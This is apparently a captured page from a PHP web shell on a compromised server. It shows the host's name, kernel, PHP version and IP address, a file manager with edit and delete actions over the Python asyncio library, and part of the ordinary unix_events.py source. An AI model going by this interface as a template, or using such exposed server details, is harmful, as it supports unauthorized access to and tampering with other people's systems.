x3x3x3x_5h3ll
— 53cur3 — 5h3ll_1d —
Linux vps-10654784.cedaps.org.br 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
  INFO SERVER : Apache PHP : 7.4.33
/opt/alt/python38/lib64/python3.8/asyncio/
162.240.100.168

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
__pycache__ dir drwxr-xr-x 2023-04-05 00:29 R D
__init__.py 1.198 KB -rw-r--r-- 2021-08-30 14:26 R E G D
__main__.py 3.265 KB -rw-r--r-- 2021-08-30 14:26 R E G D
base_events.py 70.919 KB -rw-r--r-- 2021-08-30 14:26 R E G D
base_futures.py 2.514 KB -rw-r--r-- 2021-08-30 14:26 R E G D
base_subprocess.py 8.636 KB -rw-r--r-- 2021-08-30 14:26 R E G D
base_tasks.py 2.409 KB -rw-r--r-- 2021-08-30 14:26 R E G D
constants.py 0.867 KB -rw-r--r-- 2021-08-30 14:26 R E G D
coroutines.py 8.591 KB -rw-r--r-- 2021-08-30 14:26 R E G D
events.py 25.551 KB -rw-r--r-- 2021-08-30 14:26 R E G D
exceptions.py 1.595 KB -rw-r--r-- 2021-08-30 14:26 R E G D
format_helpers.py 2.348 KB -rw-r--r-- 2021-08-30 14:26 R E G D
futures.py 12.846 KB -rw-r--r-- 2021-08-30 14:26 R E G D
locks.py 16.871 KB -rw-r--r-- 2021-08-30 14:26 R E G D
log.py 0.121 KB -rw-r--r-- 2021-08-30 14:26 R E G D
proactor_events.py 31.309 KB -rw-r--r-- 2021-08-30 14:26 R E G D
protocols.py 6.969 KB -rw-r--r-- 2021-08-30 14:26 R E G D
queues.py 8.03 KB -rw-r--r-- 2021-08-30 14:26 R E G D
runners.py 2.006 KB -rw-r--r-- 2021-08-30 14:26 R E G D
selector_events.py 38.082 KB -rw-r--r-- 2021-08-30 14:26 R E G D
sslproto.py 26.572 KB -rw-r--r-- 2021-08-30 14:26 R E G D
staggered.py 5.852 KB -rw-r--r-- 2021-08-30 14:26 R E G D
streams.py 26.031 KB -rw-r--r-- 2021-08-30 14:26 R E G D
subprocess.py 7.879 KB -rw-r--r-- 2021-08-30 14:26 R E G D
tasks.py 33.128 KB -rw-r--r-- 2021-08-30 14:26 R E G D
transports.py 10.24 KB -rw-r--r-- 2021-08-30 14:26 R E G D
trsock.py 5.738 KB -rw-r--r-- 2021-08-30 14:26 R E G D
unix_events.py 47.964 KB -rw-r--r-- 2021-08-30 14:26 R E G D
windows_events.py 32.103 KB -rw-r--r-- 2021-08-30 14:26 R E G D
windows_utils.py 4.941 KB -rw-r--r-- 2021-08-30 14:26 R E G D
REQUEST EXIT
"""Selector event loop for Unix with signal handling.""" import errno import io import itertools import os import selectors import signal import socket import stat import subprocess import sys import threading import warnings from . import base_events from . import base_subprocess from . import constants from . import coroutines from . import events from . import exceptions from . import futures from . import selector_events from . import tasks from . import transports from .log import logger __all__ = ( 'SelectorEventLoop', 'AbstractChildWatcher', 'SafeChildWatcher', 'FastChildWatcher', 'MultiLoopChildWatcher', 'ThreadedChildWatcher', 'DefaultEventLoopPolicy', ) if sys.platform == 'win32': # pragma: no cover raise ImportError('Signals are not really supported on Windows') def _sighandler_noop(signum, frame): """Dummy signal handler.""" pass class _UnixSelectorEventLoop(selector_events.BaseSelectorEventLoop): """Unix event loop. Adds signal handling and UNIX Domain Socket support to SelectorEventLoop. """ def __init__(self, selector=None): super().__init__(selector) self._signal_handlers = {} def close(self): super().close() if not sys.is_finalizing(): for sig in list(self._signal_handlers): self.remove_signal_handler(sig) else: if self._signal_handlers: warnings.warn(f"Closing the loop {self!r} " f"on interpreter shutdown " f"stage, skipping signal handlers removal", ResourceWarning, source=self) self._signal_handlers.clear() def _process_self_data(self, data): for signum in data: if not signum: # ignore null bytes written by _write_to_self() continue self._handle_signal(signum) def add_signal_handler(self, sig, callback, *args): """Add a handler for a signal. UNIX only. Raise ValueError if the signal number is invalid or uncatchable. Raise RuntimeError if there is a problem setting up the handler. """ if (coroutines.iscoroutine(callback) or coroutines.iscoroutinefunction(callback)): raise TypeError("coroutines cannot be used " "with add_signal_handler()") self._check_signal(sig) self._check_closed() try: # set_wakeup_fd() raises ValueError if this is not the # main thread. By calling it early we ensure that an # event loop running in another thread cannot add a signal # handler. signal.set_wakeup_fd(self._csock.fileno()) except (ValueError, OSError) as exc: raise RuntimeError(str(exc)) handle = events.Handle(callback, args, self, None) self._signal_handlers[sig] = handle try: # Register a dummy signal handler to ask Python to write the signal # number in the wakeup file descriptor. _process_self_data() will # read signal numbers from this file descriptor to handle signals. signal.signal(sig, _sighandler_noop) # Set SA_RESTART to limit EINTR occurrences. signal.siginterrupt(sig, False) except OSError as exc: del self._signal_handlers[sig] if not self._signal_handlers: try: signal.set_wakeup_fd(-1) except (ValueError, OSError) as nexc: logger.info('set_wakeup_fd(-1) failed: %s', nexc) if exc.errno == errno.EINVAL: raise RuntimeError(f'sig {sig} cannot be caught') else: raise def _handle_signal(self, sig): """Internal helper that is the actual signal handler.""" handle = self._signal_handlers.get(sig) if handle is None: return # Assume it's some race condition. if handle._cancelled: self.remove_signal_handler(sig) # Remove it properly. else: self._add_callback_signalsafe(handle) def remove_signal_handler(self, sig): """Remove a handler for a signal. UNIX only. Return True if a signal handler was removed, False if not. """ self._check_signal(sig) try: del self._signal_handlers[sig] except KeyError: return False if sig == signal.SIGINT: handler = signal.default_int_handler else: handler = signal.SIG_DFL try: signal.signal(sig, handler) except OSError as exc: if exc.errno == errno.EINVAL: raise RuntimeError(f'sig {sig} cannot be caught') else: raise if not self._signal_handlers: try: signal.set_wakeup_fd(-1) except (ValueError, OSError) as exc: logger.info('set_wakeup_fd(-1) failed: %s', exc) return True def _check_signal(self, sig): """Internal helper to validate a signal. Raise ValueError if the signal number is invalid or uncatchable. Raise RuntimeError if there is a problem setting up the handler. """